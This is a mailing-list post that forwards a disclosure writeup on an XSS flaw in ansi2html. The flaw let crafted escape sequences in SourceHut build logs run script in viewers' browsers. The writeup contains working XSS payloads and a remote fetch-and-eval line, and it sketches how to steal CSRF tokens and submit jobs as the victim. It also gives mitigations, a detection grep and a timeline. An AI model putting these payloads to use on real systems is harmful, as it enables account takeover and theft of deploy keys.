Hi, Normally, I don't find XSS particularly interesting, but I saw writeup leverging a bug in <ansi2html-1.9.4 which others may also find of interest: https://blog.arusekk.pl/posts/srht-account-takeover/
In short, crafted lines in a build log on sr.ht's Ci service were transformed into HTML by ansi2html, and allowed XSS for viewers of that log. I've attached a plain text version of the post but it's not particularly easy to read, just doing so for archival. I'd recommend reading it on the website. thanks, sam
blog.arusekk.pl
SourceHut account takeover via build logs (XSS in ansi2html.py) | CVE-2026-92973
Arusekk
14–18 minutes
Welcome to my first big impact vulnerability writeup!
I like good stories, so let me describe some background first. I recently had a
‘great’ idea (I know, I know, I should stop having these) to set up a sr.ht
instance that would pay people for hosting their projects. You can find it
shamelessly plugged in the timeline section, in case you want to try it or
flame me for it on socials.
Anyway, the story. The first step was to clone some minimal subset of the sr.ht
repos, and start hacking on it.
No NLP
I tend to include the following statement in my vulnerability research
submissions from this year. Make from it what you wish.
No NLP has been used in this research. The mistakes are all mine.
Structure
SourceHut is structured in several microservices, the main ones being
meta.sr.ht and probably git.sr.ht or hub.sr.ht (the flagship instance hosts it
at just sr.ht). And of course builds.sr.ht, the CI.
One less known is mirror.sr.ht (slowly moving to mirror.srht.network),
containing prebuilt packages for various microservices.
I must say I like this approach, because it allows a very easy start on any
machine matching the flagship instance distro version exactly.
If your favourite project currently recommends installation via curl|sudo bash
or ‘just launch Claude in this folder’ (sic!), please consider making yourself
aware of the not less valid option of distributing software to end users using
actual software packages instead.1
Building Alpine packages
So if you happen to use a different distro, or even a different version of
Alpine, you are on your own a bit. So there is the sr.ht-apkbuilds repo, and
you can ‘fork’ it to use your signing key, your Alpine version and your mirror.
There is also sr.ht-pkgbuilds for Arch, but it’s effectively unmaintained at
this point.2
This involves using builds.sr.ht to bootstrap the packages. I tried to look at
the page source of the build log, because it kept scrolling not where I wanted,
which annoyed me a bit.
That’s when I found this:
/* ... */
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
/* ... */
I decided to take a closer look how it’s done, and maybe fix it. Look, I like
SourceHut. I can see there is quite some wasted compute and bandwidth here. I
want them to get rich so that others follow suit, and there is some unnecessary
waste slowing that.3
I took a look into the logic converting ANSI escape codes to HTML, and I filed
an issue for it. There has been no activity in the repo for over a year at that
point, so I decided to work on it, because I like receiving good patches
myself, when I am not focused on a particular project. This quickly resulted in
submitting a PR fixing this particular issue.
Given my Capture The Flag background, I started looking into ansi2html a bit
more, in hunt for more bugs (especially that I’m about to host it myself!).
Apart from parsing escape sequences for colors, it also allows for automatic
links, and OSC 8 hyperlinks. Because the code is not so well-structured yet, I
was able to craft a malicious input string after reading this great XSS
cheatsheet (now forever in my bookmarks):
$ printf
'\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing
to see here\33]8;;\7' | ansi2html
[...]
<a
href="https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`">Nothing
to see here</a>
[...]
$ printf '\33]8;;javascript:alert`xss`\7Nothing to see here\33]8;;\7' |
ansi2html
[...]
<a href="javascript:alert`xss`">Nothing to see here</a>
[...]
The former is worth some explanation. No idea why, but as you can check, it
parses to the same DOM tree as:
<a
href="https://example.com/"
autofocus
tabindex="1"
onfocus="alert`xss`">
Nothing to see here
</a>
So if you happen to be able to make ␛]8;;https://example.com/"/...␇ appear in
the job logs —4 which you can, either without even having an account, by
sending a patch to a public mailing list with continuous integration turned on,
or by controlling any remote resource that happens to be printed to the log —
congratulations, you have just created a build job at
https://builds.sr.ht/~someone-else/job/1234567 that executes your payload in
every browser that views it. You can submit the job yourself, but this requires
a paid account on the flagship instance. And there are no anonymous payments
currently there.
Weaponizing (do not try this at home)
The actual payload can be downloaded from an attacker’s website, like
eval(await (await fetch('https://example.com')).text()) but here’s some
speculation about what it could do.
The build log page already contains the CSRF token. You can read it with
document.querySelector('[name=_csrf_token]').value for example, or just use the
existing form (part of the ‘Resubmit build’ button), like
document.querySelector('[name=manifest]').value=`something`;document.forms[0].submit().
Once you get an admin to view it, you can probably grant yourself admin
rights. The worse impact is that you have access to all the deploy keys, and on
builds.sr.ht, there are deploy keys for sr.ht itself (probably not the case
with other instances).
Making this part of the payload is left as an exercise for the curious reader.
I cannot stress this enough: remember to only test worms on your own
infrastructure. And never on production. Even if it’s your production.
How to do defense in depth here?
By restricting Content-Security-Policy. I’m no expert here, but removing
‘unsafe-inline’ would be a good first step (not useful advice in itself,
because inline scripts are currently used even on the build log page itself,
for scrolling).
By extra sanitization (SourceHut added it, but it’s overzealous - now there are
no colors!).
And by restructuring the code in ansi2html into some stateful transducer
automaton thing.
I immediately emailed ~sircmpwn/[email protected] explaining the
entire problem, complete with a fix that mitigated the worst part at least.
Drew (can I call you Drew? I guess we are all brothers in Source) ended up
patching builds.sr.ht to auto-sanitize the output from ansi2html instead. Also
a good choice.
Upstream
Then I contacted upstream (maybe a bit too late? exact timeline below).
Ansi2html is one of the projects featured in the famous and by now beaten to
death comic strip by Randall Munroe.5 Placed under pycontribs org on GitHub,
which ominously states:
PyContribs main purpose is to assure that different Python-related projects
remain maintained.
I reached out to the two top people from last 5 or so years’ worth of
contributor graph, emails from git history, in order not to make the issue
public yet, although it was already made public by the SourceHut announcement.
The maintainer I believed to be the ‘main’ one (Sorin Sbarnea) has not replied
to date (he might be having some kind of holiday), although the other one
(Sebastian Pipping) has. And the message was a cryptic, unusual for me to
receive, ‘mail me in two weeks’.
So I patiently waited two weeks, minding my another nascent business (let me
try, okay?), and sent the email.
Helping upstream
It turned out that Sebastian (can I call you Sebastian?) is a cool guy and he
figured he needed me to help him because of something with ACLs on the repo. We
ended up getting ansi2html up from the suspension it was in, updating some
obsolete scripts, and releasing like 3 or 4 versions of ansi2html to PyPI
together.
I tried to be helpful, but had some things going on with my PhD-in-spe, so some
latency crept in.
Submitting for a CVE
Let’s start with the hot take that CVSS scoring is a fallacy: it should be
separate for each product and not just one for one root cause code path.
The purpose of CVSS is after all to provide useful information to downstream
users on whether to go patch it or not. Researchers have the incentive to make
it as high as possible. And projects have the incentive to downplay it. They do
want to fix it, but they want to avoid the paperwork involved, and the
confidentiality dance of passing it all around (and I totally get it!).
The problem is, not all software is born equal, and this is especially the case
with libraries like libcurl.
CVSS 4.0 is at least a bit better than CVSS 3.x. It now makes a distinction on
Vulnerable System and Subsequent System. In case of XSS vulnerabilities the
typical approach is to say that the web service is Vulnerable, and the browser
is Subsequent (which kind of makes sense, because the bug is in the service,
but then it impacts the victim browser first in order to attack the web service
itself again).
The vector I initially came up with has been altered by VulnCheck. Not sure
why, but maybe it can be changed back? Or maybe not worth bothering. Let me
know what you think. I also want to add this blog post to the CVE DB, but I
might need to check how to do it.
AV:N - attack vector: network
AC:L - attack complexity: low (no guesswork required, no need to bypass or
synchronize attacks)
AT:N - requirements: none (as opposed to specific config required)
PR:N - privileges required: none (just send an email? it might also be low
if there was no lists.sr.ht)
UI:P - user interaction: passive (the victim must visit a site with JS on -
the only problem, easy to solve)
vulnerable system (builds.sr.ht / all of sr.ht)
VC:H - confidentiality impact: high (does cause a direct, serious loss of
confidentiality - secrets get exposed)
VI:H - integrity impact: high (can submit malicious build jobs as victim
with access to deploy keys)
VA:N - availability impact: none (cannot take down the whole service,
unless clogging build workers counts)
subsequent system (victim browser)
SC:L - confidentiality: low (limited access to tightly scoped secrets)
SI:L - integrity: low (ability to forge tightly scoped requests)
SA:N - availability: none (nothing more than from a direct visit)
supplemental
AU:Y - automatable: yes (wormable - a victim can attack others right away,
spreading the scope)
R:I - recovery: irrecoverable (users cannot delete build jobs, only hide
them)
V:C - value density: concentrated (a single instance hosts many valuable
projects with valuable deploy secrets)
RE:L - response effort: low (basic mitigation: CSP header insertion at
proxy level)
U:Amber - urgency: amber (moderate urgency: poses direct danger to infra
but has been sitting there for years)
While the exact impact can and should be disputed by actual users (after all,
SourceHut boasts working just fine without javascript), I would argue for high
or critical, not just a mere medium, because if I were a blackhat, it would
suffice that Drew visited an affected build log with JS turned on, and I could
submit a build job in his name with access to SourceHut deploy keys. Not sure
how I would turn that into money or get away with it though. Don’t do this,
kids. No excitement justifies it.
Vulnerabile versions
ansi2html >=1.7.0, <1.9.4, builds.sr.ht >= 0.40.0, < 0.105.1
Indicators of compromise
Check your raw build logs for ␛]8;;https://example.com/"/...␇ or
␛]8;;javascript:...␇. In Bash, that would probably be something along grep
$'\33]8;[^\7\33]*"' for the former.
Full timeline (glad to have permanent records on everything!)
I’m not so proud of this timeline, but hey, at least everything is fixed now
and there are no (?) records of people trying to use it. I will include the
official Arch Linux repo and the sr.ht Alpine Linux repo, because both systems
were recommended at one point.
2019-03-11: ansi2html gets added to builds.sr.ht and then to sr.ht-apkbuilds
2021-09-03: the bug gets introduced to upstream ansi2html
2022-02-08: an affected version gets packaged for Alpine and goes live on
the flagship instance
2022-07-10: an affected version is packaged for Arch Linux
2026-07-17: I maybe buy some domains6
2026-07-31: I start working on SourceHut
2026-08-01: I submit the issue, and the PR fixing the TrueColor bug to
ansi2html upstream. I prepare a preliminary patch for ansi2html and send it to
~sircmpwn/[email protected].
2026-08-04: the bug gets mitigated in builds.sr.ht code; I receive an email
from Drew DeVault confirming the vulnerability. Drew gives me a public shoutout
(thanks! I appreciate it!).
2026-08-06: bug reported upstream, ACKed immediately
2026-08-20: pinging upstream
2026-08-22: Sebastian replies, we set up when to work on it
2026-08-24: trying to oil ansi2html CI together before we can proceed to
address the actual vulnerability
2026-08-29: version 1.9.3 published, not fixing the vulnerability
2026-08-31: I hint in a post that I am working on a software forge that
pays project owners
2026-09-02: PR with the final fix pushed and 1.9.4 published, fixing the
vulnerability
2026-09-05: Arch Linux updates ansi2html to a fixed version
2026-09-xx: Life happens, I took a bit more work to sustain myself
2026-09-23: This blog post (actually -09-24 because it’s past midnight by
now. sigh.)
2077-??-??: Profit…?
Note how even carefully auditing ansi2html would not save SourceHut, unless
redone on every bump. builds.sr.ht remained vulnerable for (almost exactly) 4,5
years.
Thanks
God for keeping the blackhat temptations away. Danonek123 for keeping me
company. I love you.
Summary
See, vulnerability research does not need to be a circus, or security theatre,
or a lawyered-up fight against bureaucracy. But then you might not end up
better off.
Excluding CTFs & invitations to minor conferences (and being allowed to do some
VR as part of my internship back when at Antmicro, which I am still grateful
for), I have made a metric 0.00€ (that’s $0.00 Fahrenheit) from my
vulnerability research so far. If you want to support me (so that I have more
time for VR), consider buying something. I like it better than donations
(though they are fine too!). I’m also available for professional security
consulting.
I’m not done! There’s more coming, although arguably not so critical. Subscribe
to my RSS if you don’t want to miss it.
Or at least provide some optional ultra-simple configure script that allows
to just run make install/ninja install so that other people can package it
easily. (By the way, I still can’t get it why people use AppImage instead of
just a static binary.) ↩︎
You can still probably send your patches if you want to host your sr.ht on
Arch! ↩︎
Hey Drew/Conrad/Simon/(sorry if I missed someone!), when you update
ansi2html in sr.ht-apkbuilds, actually when you first restart builds.sr.ht
after that, please measure the bandwidth impact on builds.sr.ht. I will make
sure to link it here. ↩︎
Yes, that’s an em dash. I use Polish typography here, because I have no
editor to answer to. Feel free to correct me, though. You can be my drive-by
editor. ↩︎
Oops, sorry, wrong link. I’m talking about https://xkcd.com/2347/ of
course. ↩︎
Totally not an impulse buy. ‘To get a sense of being invested.’ I tell to
myself. ↩︎
signature.asc
Description: PGP signature
